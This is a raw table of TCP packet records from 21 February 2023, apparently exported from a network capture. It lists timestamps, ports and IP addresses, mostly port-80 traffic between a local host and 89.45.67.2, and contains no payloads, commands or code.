Feb 21, 2023 07:08:28.985826015 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.985882044 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.985913992 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.985969067 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:28.985996962 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986217976 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986255884 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986347914 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986413956 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986552000 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986634016 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986728907 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986886024 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.986934900 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.987040043 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.987248898 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.987282991 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.987315893 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.987349033 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.987477064 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.987597942 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:28.987711906 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.031454086 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.064253092 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.107717037 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.108030081 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.190861940 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.190953016 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.234148026 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.236572027 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.357057095 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.402827024 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.412296057 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.455800056 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.456119061 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.538975000 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.539144039 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.582448006 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.584278107 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.656229019 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.713738918 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:29.758985043 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:29.861079931 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.012947083 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.058142900 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.269166946 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.846611023 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.890067101 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.908899069 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.909120083 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.909198999 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.909380913 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.909456015 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.909519911 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.909590006 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.909630060 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.952214956 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.952297926 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.952322006 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.952455997 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:30.952461004 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.952594042 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.952655077 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.952763081 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.952922106 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.952958107 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953066111 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953145027 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953316927 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953351021 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953470945 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953599930 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953684092 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953830004 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953864098 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.953960896 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.954103947 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.954138041 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.954262972 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:30.997670889 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:31.065067053 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.108510017 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:31.116260052 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.198968887 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:31.199157953 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.242562056 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:31.244896889 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:31.348009109 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.394268990 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:31.462320089 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.534636974 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.580182076 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:31.657496929 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.789192915 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.834522963 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:31.941983938 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:31.987329960 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:32.061934948 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:32.100373030 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:32.146167994 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:32.257668972 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:32.287158012 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:32.333164930 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:32.486470938 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:32.532726049 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:32.635966063 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:32.681299925 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:32.756278992 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:32.801254988 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:32.846848965 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:32.961255074 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:33.011542082 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:33.056893110 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:33.162967920 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:33.222258091 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:33.267528057 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:33.364876986 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:34.965173006 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.008538961 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.008805990 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.008900881 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.008996964 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.009040117 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.009119987 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.009167910 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.009238005 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.010736942 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.052103996 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.052223921 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.052237034 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.052325010 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.052480936 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.052526951 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.052886963 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.052932978 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.052978992 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.053162098 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.053261995 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.053339958 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.053416014 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.053591013 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.053708076 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.053868055 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.053988934 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.054034948 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.054229021 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.054301977 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.093852043 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.095328093 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.097810030 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.150789976 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.194039106 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.198467016 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.280919075 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.281011105 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.324227095 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.326318979 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.445467949 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:35.491200924 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:35.656615973 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.495843887 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.541011095 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.559310913 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.559468985 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.559567928 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.559567928 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.559623957 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.559664011 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.559732914 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.559828997 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.559879065 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.604716063 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.604774952 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.605144024 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.605325937 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.605369091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.605402946 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.605436087 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.605830908 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.605870008 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.605997086 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.606498957 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.606537104 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.606681108 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.606744051 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.606780052 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.607273102 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.607319117 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.607353926 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.651612997 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.763223886 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.830436945 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.873770952 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.897208929 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:37.980032921 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:37.980561018 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:38.023802042 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:38.026221037 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:38.128843069 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:38.176194906 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:38.256570101 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.077367067 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.120668888 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.121702909 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.121834993 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.121892929 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.122062922 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.122064114 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.122231007 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.122231007 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.122301102 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.165112972 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165170908 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165209055 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165244102 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165277958 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165311098 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165330887 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165474892 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165508986 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165621996 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165736914 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165771961 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165864944 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.165950060 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.166069031 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.166188002 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.166223049 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.166341066 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.166542053 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.166620970 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.166677952 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.167989969 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.213643074 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.262489080 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.336922884 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.380350113 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.380734921 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.464821100 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.465146065 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.508483887 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.510595083 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.558456898 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.628267050 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.679763079 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.759073973 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.790417910 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.835975885 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:39.946835041 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:39.991960049 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:40.071429968 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:40.109265089 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:40.154875994 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:40.256282091 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:40.301703930 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:40.426801920 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:40.518013954 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:40.619252920 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:40.664360046 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:40.766395092 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:40.811983109 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:40.857955933 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:40.914444923 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:40.959562063 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:41.070224047 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:41.070545912 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:41.115596056 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:41.234679937 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:41.280168056 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:41.364500046 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:41.405534983 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:41.451325893 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:41.558386087 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.189548016 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.233139038 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.240539074 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.240700006 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.240781069 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.240895033 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.240933895 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.241035938 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.241086006 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.241139889 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.283780098 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.283840895 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.283874035 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.283902884 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284013987 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284204960 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284240961 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284444094 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284559011 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284642935 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284708977 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284840107 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.284874916 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.285038948 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.285157919 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.285237074 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.285355091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.285437107 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.285641909 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.285679102 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.325911999 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.326893091 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.329221964 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.369806051 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.412928104 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.413204908 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.495917082 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.496026039 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:43.540600061 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.542387009 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:43.659339905 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:44.608242035 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:44.654362917 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:44.759835958 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:45.097641945 CET	49736	443	192.168.2.3	142.250.180.132
Feb 21, 2023 07:08:45.097690105 CET	443	49736	142.250.180.132	192.168.2.3
Feb 21, 2023 07:08:46.049146891 CET	49747	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:46.081497908 CET	80	49747	208.95.112.1	192.168.2.3
Feb 21, 2023 07:08:46.081711054 CET	49747	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:46.144005060 CET	49750	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:46.176666021 CET	80	49750	208.95.112.1	192.168.2.3
Feb 21, 2023 07:08:46.179622889 CET	49750	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:46.179806948 CET	49750	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:46.213855028 CET	80	49750	208.95.112.1	192.168.2.3
Feb 21, 2023 07:08:46.258668900 CET	49750	80	192.168.2.3	208.95.112.1
Feb 21, 2023 07:08:52.415203094 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:52.458626032 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:52.458937883 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:52.541909933 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:52.542007923 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:52.585233927 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:52.587412119 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:52.696351051 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:52.741684914 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:52.756253958 CET	49746	80	192.168.2.3	89.45.67.2
Feb 21, 2023 07:08:52.799458027 CET	80	49746	89.45.67.2	192.168.2.3
Feb 21, 2023 07:08:52.799782991 CET	49746	80	192.168.2.3	89.45.67.2
